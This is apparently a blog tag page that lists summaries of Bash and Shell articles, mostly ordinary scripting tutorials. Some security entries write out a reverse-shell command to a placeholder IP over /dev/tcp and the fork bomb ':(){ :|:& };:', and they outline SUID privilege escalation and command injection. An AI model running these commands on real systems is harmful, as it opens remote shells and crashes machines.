// TAG
#bash
40 篇
LinuxShell 位置参数传递：从入门到“怀疑人生“
Shell 位置参数详解与常见陷阱 本文系统介绍了Shell脚本中的位置参数机制，重点解析了特殊变量$*与$@的区别及常见使用误区。主要内容包括： 位置参数基础：$0-$9、$#等特殊变量的含义与用法 $*与$@的核心差异：不加引号时行为相同，加引号时$*合并为一个字符串，$@保持参数独立性 6个典型陷阱案例：单引号下的参数展开、管道中的参数传递、IFS对$*的影响、嵌套引号处理等 实用技巧：shift命令操作参数、printf替代echo处理参数边界等 关键结论：在大多数场景下应使用"$@"来确保参数传递
阅读 →
Linux一文讲透 Zsh 与 Bash 的区别
Zsh与Bash作为两大主流Unix Shell，在设计哲学上存在根本差异：Bash强调POSIX合规性和跨平台兼容性，而Zsh更注重交互体验和功能丰富性。它们在数组索引（Bash 0-based/Zsh 1-based）、词法切分（Bash默认拆分/Zsh默认不拆分）、Globbing扩展（Zsh更强大）、浮点运算（Zsh原生支持）、提示符系统（Zsh支持右侧提示）等方面表现不同。Zsh在交互功能（如拼写纠正、共享历史）和启动配置上更先进，但Bash在资源占用和POSIX兼容性上更优。理解这些差异对脚本编
阅读 →
LinuxShell 命令执行知识体系全景解析
Shell 命令执行全流程解析 本文系统梳理 Shell 命令执行的核心机制，涵盖三大关键环节： 命令解析与查找 解析流程：历史扩展 → 大括号扩展 → 变量扩展 → 命令替换 → 路径扩展 → 引号移除 查找优先级：别名 > 关键字 > 函数 > 内建命令 > hash缓存 > PATH搜索 验证方法：type -a查看命令类型，command/builtin绕过优先级 命令类型与执行 内建命令直接执行（如cd），外部命令需fork+exec 命令替换推荐$(...)，支持嵌套和引号保护 进程管理与重定向
阅读 →
安全研究Alpine Linux SUID提权深度剖析：当bash遇到busybox
Alpine Linux独特的musl libc和busybox组合在SUID提权场景中表现出异常行为。研究发现，bash -p提权后虽然显示EUID=0，但外部命令仍受限制，这是由于busybox的多调用机制会主动降权。通过分析/proc文件系统发现bash进程实际拥有完整root权限，但busybox会在执行外部命令时重置FSUID。实验证明，利用bash内置命令或I/O重定向可绕过此限制，成功获取root文件访问权限。
阅读 →
LinuxBash 替换机制（三）：变量替换
本文深入探讨了Bash脚本中的变量替换机制，系统性地分析了其语法分类、工作原理及实战应用。文章首先将变量替换分为基础变量替换、条件变量替换和字符串处理变量替换三大类，详细阐述了每类语法的特点和使用场景。通过大量实例演示了变量长度计算、字符串截取、前缀/后缀删除以及内容替换等高级操作，并深入解析了变量替换在Bash预处理阶段的工作流程。该内容为Bash脚本开发提供了全面的变量操作指南，帮助开发者提升脚本的灵活性和执行效率。
阅读 →
LinuxBash Shell 的展开与补全机制
Bash 命令行处理遵循严格的展开顺序：首先执行大括号展开，随后同时处理波浪号、变量、算术和命令替换，再进行单词分割和路径名展开，最后移除引号。关键机制包括历史展开（如 !! 和 !$）、波浪号展开（~ 主目录引用）以及 Tab 补全功能，后者支持可编程补全规则。实用技巧如 cd - 切换目录、Alt+. 快速引用参数能显著提升效率。掌握这些展开顺序和交互功能可以优化命令行操作，减少重复输入。
阅读 →
LinuxBash 替换机制（一）：命令替换与进程替换
本文详细解析了Bash中命令替换和进程替换两种核心机制。命令替换通过$(command)语法将命令输出动态嵌入到命令行中，适用于变量赋值、参数传递等场景。进程替换则使用<(command)或>(command)语法将进程I/O流伪装为临时文件，解决需要文件参数的命令处理问题。文章从语法定义、工作原理到典型应用场景进行了系统阐述，并指出命令替换是"输出结果替换"，而进程替换是"文件路径替换"的本质区别。这两种机制都能显著提升Bash脚本编程的灵活性和效率，但
阅读 →
安全研究终端粘贴出现 ^[[200~ 字符？一文搞懂原因与解决方案
摘要： 终端粘贴文本时出现^[[200~等字符，源于终端的"括号粘贴模式"保护机制。该模式通过转义字符标记区分手动输入和粘贴内容，防止恶意代码注入和格式混乱。问题通常由程序异常退出、快捷键冲突或配置不当导致。解决方案包括：1）临时关闭模式（printf '\e[?2004l'）；2）修改Shell配置文件（如Bash的~/.inputrc或Zsh的~/.zshrc）；3）调整终端模拟器设置。还可通过原生粘贴快捷键（如Ctrl+Shift+V）避免问题。（149字）
阅读 →
Linux反弹Shell场景中bash -c与直接bash -i的适用差异解析
反弹Shell命令中直接使用bash -i >& /dev/tcp/IP/端口与嵌套bash -c "bash -i >& /dev/tcp/IP/端口"的区别源于执行环境的差异。前者要求当前环境为纯净的bash且无干扰，后者通过外层bash -c创建独立上下文，解决非bash环境或环境污染问题。由于两种方式分别针对"环境干净"和"环境受限"的互斥场景，故几乎不会同时适用，本质是bash进程上下文隔离特性的体现。
阅读 →
LinuxBash Emacs 模式下最实用的 Alt 快捷键
本文介绍了Bash中12个实用的Alt组合快捷键，可显著提升命令行操作效率。重点推荐6个最常用组合：Alt+.快速粘贴上条命令参数、Alt+b/f按单词移动光标、Alt+t交换相邻单词、Alt+u/l/c转换大小写、Alt#注释整行、Altr撤销修改。这些技巧能帮助用户减少重复输入，提高编辑速度，建议通过10分钟练习掌握这些"神键"，一旦熟练使用将大幅提升Bash操作体验。
阅读 →
LinuxBash One-Liners 学习精要指南
本文系统介绍Bash单行命令的高效用法，涵盖文件操作、字符串处理等核心场景。通过重定向、参数扩展等内置特性实现简洁强大的功能： 文件操作：清空/追加文件、随机读取行、路径解析等 字符串处理：生成序列、拆分/连接字符串、模式替换等 采用Bash原生语法（如${var##*/}提取文件名），减少外部命令依赖 强调正确引用和IFS处理，避免常见陷阱
阅读 →
WindowsWindows 下 Git Bash 终端高效配置指南【建议收藏】
Git Bash为Windows开发者提供了无缝衔接Linux命令行体验的解决方案。本文介绍了Git Bash的核心优势（命令兼容、工具链齐全、跨平台一致），详细讲解了安装方法及将其设为默认终端的配置步骤（Windows Terminal和VSCode）。针对常见问题如配置文件加载异常、终端前缀冗余和中文乱码，提供了实用解决方案，帮助开发者高效搭建Windows下的Linux开发环境。
阅读 →
LinuxBash 替换机制（二）：glob通配符
Bash中的glob通配符是文件批量操作的利器，通过简洁的模式匹配规则快速定位文件。基础语法包括：?（单字符）、*（任意字符）、[...]（字符集合）和否定形式[^...]。进阶功能如{...}支持多模式匹配，{start..end}生成连续范围，**（需启用globstar）实现递归子目录匹配。这些通配符显著提升命令行效率，适用于日志处理、文件清理等场景，是Shell脚本中不可或缺的工具。
阅读 →
LinuxShell脚本技巧：去除文件中字符串两端空白
本文介绍了在Bash环境中清理文本行首尾空白字符的三种方法：1) 使用awk命令，通过字段拆分和行重构机制高效处理，推荐awk '$1=$1'作为首选方案；2) 使用sed命令，通过正则表达式实现灵活精准的空白控制；3) 采用Bash内置参数扩展，适合无外部工具依赖的环境但效率较低。文章详细分析了各方案的底层原理、代码示例和执行过程，并提供了方案对比和选型建议，其中awk方案因其简洁高效被推荐为通用场景的首选方法。
阅读 →
安全研究GitHub Release下载工具设计思路（以pd工具为例）
本文介绍了一个GitHub Release下载工具的自动化设计思路。该工具的核心目标是简化手动下载开源软件的繁琐流程，通过自动化实现一键下载、解压和部署。设计遵循四大原则：自动化处理全程无需人工干预；通用性适配各类GitHub项目；稳定性处理各种异常情况；轻量化降低使用门槛。文章提供了一个Shell脚本示例，展示了如何通过GitHub API获取最新版本、自动匹配系统适配的下载链接，并完成后续部署流程。同时指出了设计时需注意的五大要点：接口访问限制、版本兼容性、权限处理、依赖检查和跨平台适配。
阅读 →
红队渗透常见Bash脚本漏洞分析与防御
Bash脚本因其高效便捷成为系统管理常用工具，但也隐藏着严重安全风险。本文分析了三类典型漏洞：1)变量比较时未加引号导致通配符注入，攻击者可逐字符猜解密码；2)直接将用户输入拼接命令导致命令注入，通过特殊字符执行任意指令；3)不安全的临时文件操作引发竞争条件，可能被符号链接攻击。安全加固建议包括：始终为变量加引号、严格白名单验证输入、使用参数数组执行命令、采用mktemp创建临时文件等。遵循这些原则可有效提升Bash脚本的安全性。
阅读 →
Linux探索 Shell：选择适合你的命令行利器 bash, zsh, fish, dash, sh...
Shell 是用户与操作系统内核之间的桥梁，负责接收用户输入的命令，解析并传递给系统执行。在 Linux 和 BSD 系统中，Shell 通常以命令行界面的形式呈现，但它远不止于此。Shell 是一个强大的脚本语言环境，可以通过编写脚本自动化复杂任务，处理文件、数据流以及系统资源。许多新用户对 Linux 的第一印象是“必须使用终端，输入复杂命令”，甚至觉得它不够友好。然而，这种看法并不完全准确。现代 Linux 发行版提供了图形化界面（GUI），用户完全可以仅通过鼠标操作。
阅读 →
安全研究Bash fork 炸弹 —— :(){ :|:& }；:
Fork 炸弹是一种拒绝服务（DoS）攻击技术，通过递归调用 fork() 系统调用快速创建大量进程，耗尽系统资源如进程表、CPU 和内存，导致系统崩溃。著名的 Bash fork 炸弹脚本 :(){ :|:& };: 通过递归创建子进程，使进程数量呈指数级增长。执行该脚本后，系统将无法响应，通常需要强制重启。防范措施包括限制用户的最大进程数、使用 ulimit 命令设置限制以及配置 systemd 的 cgroup 限制。
阅读 →
LinuxBash 字符串语法糖详解
Bash 作为 Linux 和 Unix 系统中常用的 Shell，提供了丰富的字符串处理语法糖，简化了脚本开发。这些语法糖包括参数扩展、模式匹配、特殊字符串 $'' 等，能够高效完成字符串截取、替换、拼接等操作。参数扩展通过 ${} 语法实现默认值处理、字符串长度计算、切片、删除前缀后缀等功能。$'' 支持转义字符，简化了复杂字符串的处理。模式匹配结合通配符增强了字符串操作的灵活性。这些特性使开发者无需依赖外部工具即可完成复杂的字符串操作，提升了脚本的可读性和效率。
阅读 →
Linux深入理解 Bash 中的 $‘...‘ 字符串语法糖
ANSI-C 字符串语法是 C 语言标准（特别是 C89/C90）中定义的一种字符串处理规范，主要用于支持转义字符（escape sequences）。它允许程序员在字符串字面量中嵌入非打印字符（如换行符）、控制字符（如响铃）以及其他特殊字符。这种机制通过反斜杠后接特定字符或数字序列来实现。这里的\n会被解析为换行符（ASCII 码 0x0A），输出两行文本。这种语法不仅提高了代码的可读性，还为程序员提供了表达复杂字符序列的能力。
阅读 →LinuxBash 中的数学运算详解
Bash 的数学运算功能远超许多人的想象。
阅读 →
Linuxawk 从入门到进阶（下）
在数据处理和系统管理的广阔领域中，awk作为一款功能强大的文本处理工具，以其高效、灵活和多样的应用场景，持续在 Unix/Linux 环境中占据重要地位。从基础的字段提取到中级的条件判断与循环控制，我们已经逐步揭开了awk的核心能力。然而，awk的真正潜力远不止于此。在本篇下篇中，我们将深入探讨awk的高级特性与脚本化应用，带你从熟练使用迈向精通。关联数组：利用awk的哈希表功能实现高效的数据统计与分组。多文件处理：通过FNR和NR处理多个输入文件，解决复杂数据合并需求。脚本编写。
阅读 →
Linuxawk 从入门到进阶（中）
在现代数据驱动的场景中，文本数据的处理与分析已成为系统管理、数据分析和开发工作中不可或缺的一部分。从服务器日志的实时解析到大规模数据集的清洗与统计，从配置文件调整到自动化报告生成，高效的文本处理能力直接决定了任务的完成效率与成果质量。作为一款内置于操作系统的文本处理利器，awk不仅能轻松应对日志分析、数据过滤和列操作，还能在数值计算、条件筛选和数据聚合等复杂任务中大显身手。如果说基础篇为你打开了awk的大门，那么本篇中篇将带你深入探索其核心功能。数值计算：从浮点运算到逐行统计，展示awk。
阅读 →
红队渗透Bash 花括号扩展 {start..end} 进阶使用指南——字典生成
工具内置性支持类型内存效率复杂模式适用规模是数字、字母、组合低否小中规模seq是数字高否大规模crunch否数字、字母、组合高是超大规模Bash 花括号扩展语法简单却功能强大，掌握其基础与进阶用法，能极大提升脚本效率。无论是生成测试数据、批量操作文件，还是创建爆破字典，它都是不可或缺的利器。结合管道和其他工具，您可以解锁更多可能性！
阅读 →
LinuxLinux 文件夹复制与移动技巧详解：一级解散、隐藏文件与目录结构
本文详细解析了Linux中cp和mv命令在文件夹操作中的关键特性与使用技巧。通过对比表格总结了两种命令在复制/移动内容、处理隐藏文件、目标目录结构和适用场景上的差异，具体包括：cp -r src/* dest/（仅非隐藏文件）、cp -r src/. dest/（包含隐藏文件）和cp -r src dest/（保留目录结构）等6种常见用法。针对隐藏文件被忽略、目录结构保留不当等常见问题，提供了启用dotglob、使用find命令等解决方案。
阅读 →
LinuxGRC（Generic Colouriser）：为你的终端输出增添色彩
GRC 的真正强大之处在于它的配置文件。~/.grc/（用户自定义）如果 GRC 找不到配置文件，你也可以用绝对路径指定，例如。答案是肯定的。GRC 不仅简单易用，还能通过灵活的配置满足各种需求。无论是日常命令美化，还是专业日志分析，它都能让你的终端体验焕然一新。建议从默认配置文件入手，逐步尝试自定义规则，挖掘它的全部潜力。
阅读 →
红队渗透极端场景 Linux 文件落地技巧：/dev/tcp 实现无 curl/wget 文件传输
在 Bash 脚本编程中，发送 HTTP 请求通常依赖于像curl或wget这样的外部工具。然而，Bash 本身隐藏着一个鲜为人知的功能：通过内置的/dev/tcp或/dev/udp伪设备，可以直接与网络进行交互，而无需额外安装任何工具。这个特性最初由 KornShell (ksh) 引入，后来被 Bash 继承，其设计初衷是为了方便用户通过网络发送数据，例如生成报告或执行简单的网络操作。然而，这个功能也因其强大而灵活的特性，常常被黑客或渗透测试人员利用，比如创建反向 Shell。
阅读 →
LinuxShell编程：深入了解 Bash 数组操作
Bash 数组可以非常方便地生成随机字符或密码。# 生成一个包含数字、字母和特殊字符的随机密码@#$%"`)do# 生成一个包含数字、字母和特殊字符的随机密码 characters =(` echo {a .. z } {A .. Z } {0 .. 9 } "!1 .. 12 };do password += " ${characters [ $RANDOM % ${ # characters [ @ ] } ]}" done echo $password # 输出一个随机密码。
阅读 →
LinuxShell 编程：生成随机数与字符串的高效技巧
echo解释提供随机字节流。通过tr工具过滤字符，只保留自定义字符集中的字符。此字符集包含了数字、特殊字符以及大小写字母。head -c8截取 8 个字符，生成一个长度为 8 的随机字符串。这种方法适合于生成较为复杂的随机密码，尤其是当需要使用特定字符集时。解释a=(echo {a…z}这一行代码生成一个包含字母a到z的数组。{a..z}是一个 Bash 字符范围扩展，生成从a到z的所有小写字母。a=()将这些字母存储在数组a中。使用$RANDOM。
阅读 →
安全研究因数组解析导致的 Bash 命令注入漏洞
Bash脚本中存在一类隐蔽高危漏洞：数组下标在算术上下文中的提前求值导致命令注入。当用户可控的字符串被用作数组下标或出现在数值比较（如-eq/-gt）、算术扩展（$(( ))）等算术上下文中时，Bash会将其作为算术表达式求值，支持命令替换$(...)，从而执行任意代码。这类漏洞在2014-2020年间多次被披露，常见于SUID提权脚本和运维脚本中。防御关键在于避免用户输入进入算术上下文，严格校验输入为纯数字，或改用字符串比较。开发者的常见误区包括认为引号能阻止算术求值、忽略declare -i的风险等。
阅读 →
LinuxLinux find 命令详解：强大的文件查找工具
find命令是一个非常强大的工具，适用于文件查找、批量处理和执行脚本等多种场景。它提供了丰富的选项和灵活的条件表达式，能够帮助用户高效地管理文件系统中的文件。掌握find命令将极大提升你在系统管理和脚本自动化方面的效率。
阅读 →
LinuxBashrc 和 Profile 配置文件详解
和主要用于登录 shell，而和~/.bashrc用于非登录 shell。登录 shell 会依次加载和（如果后者不存在，加载和~/.profile非登录 shell 会加载和~/.bashrc。配置文件加载遵循全局优先，局部（用户）配置覆盖全局配置的原则。通过合理配置这些文件，我们能够控制 shell 的行为、环境以及终端交互的细节，从而优化工作效率和提升用户体验。
阅读 →
LinuxShell 运算符完全指南
本文系统介绍了Bash Shell中的各类运算符，包括算术运算、比较运算、逻辑运算、位运算、字符串运算和文件测试运算符。详细说明了每种运算符的语法、用法、优先级及典型应用场景，通过示例代码演示了不同运算符的使用方法。特别强调了数值比较与字符串比较的区别，以及逻辑运算符在不同环境下的差异。此外，还介绍了复合赋值运算符、自增自减运算符以及短路求值等实用技巧，帮助读者全面掌握Shell脚本中的运算逻辑。
阅读 →
LinuxShell脚本技巧：逐行读取文件与死循环的常用思路
推荐使用或mapfile，能更精准处理复杂内容。对于简单任务，可以快速实现，但不适合复杂场景。使用while true或语法简单直观，是最常见的方式。for ((;;))和也是常见替代方案。
阅读 →
LinuxBash 中 nohup 与 & 的区别及用法解析
在Bash中，nohup和都可以用来在后台运行命令，但它们的作用和用途各有不同。以下将详细介绍它们的特点、区别及适用场景。是Bash的一个特殊符号，用于将命令放到后台执行。它的主要功能是让命令在后台运行，不会阻塞当前终端。
阅读 →
Linux深入理解 Shell 重定向
文件描述符是操作系统为打开的文件、管道、网络连接等「输入/输出资源」分配的非负整数标识符。Shell 中所有的输入输出操作，本质上都是通过操作文件描述符来完成的。0：标准输入（stdin）：默认指向键盘，是命令的输入来源（比如read命令读取用户输入）。1：标准输出（stdout）：默认指向终端屏幕，是命令的正常输出（比如ls命令列出的文件列表）。2：标准错误（stderr）：默认指向终端屏幕，是命令的错误输出（比如输出的「没有那个文件或目录」）。
阅读 →
LinuxShell脚本基础：函数
函数体# 你希望执行的命令示例 1：简单的函数定义# 定义一个函数，打印 hello world函数体内可以包含任意的命令或逻辑。调用函数时只需要使用函数名即可。# 定义函数，使用 local 声明局部变量# 调用函数echo "Incremented result is: $result" # $result 是全局变量，仍然为未定义6local关键字使得result仅在函数内部有效，不会影响全局环境。
阅读 →
LinuxShell脚本基础：循环结构
循环类型逻辑适用场景for遍历列表已知范围或固定数量的操作，例如文件列表、数字序列等。while条件为真处理动态范围或未知次数的循环，例如用户输入、实时监控等。until条件为假在特定条件达成之前重复执行，例如检查进程完成状态、检测文件生成等。以上是 Shell 脚本中三种循环结构的详细用法。通过示例代码与解析，相信大家对forwhile和until的特点有了更深入的理解。在编写脚本时，灵活选择适合的循环结构，可以让代码更简洁、高效！
阅读 →
安全研究Shell read 命令指南：从标准输入读取数据
Shell脚本编程中，read命令是实现用户交互的核心工具。文章系统讲解了read的语法和常用选项：-p显示提示信息，-n限定字符数，-t设置超时，-s静默输入，-r原样读取反斜杠。重点介绍了while read循环处理文件数据的高效写法，并指出管道中read会创建子进程导致变量失效，推荐使用重定向方式。最后总结了read在交互设计、数据安全和批量处理中的应用技巧，帮助开发者编写更健壮的Shell脚本。
阅读 →
LinuxShell脚本基础：变量使用
在 Shell 脚本中，变量是用来存储数据的标识符，可以保存字符串、数字或命令输出的结果。变量的定义非常简单，通过等号（）将值赋给变量名。语法结构变量定义的格式为变量名=值，等号两侧不能有空格。例如，会导致语法错误，正确的写法是。值可以是字符串、数字或命令的输出。例如，count=42定义一个数字变量，存储命令的输出。动态类型Shell 中的变量是动态类型的，无需显式声明变量的类型。Shell 会根据赋值的内容自动推断。例如，age=27被视为整数，而被视为字符串。变量的类型可以随时改变。例如，
阅读 →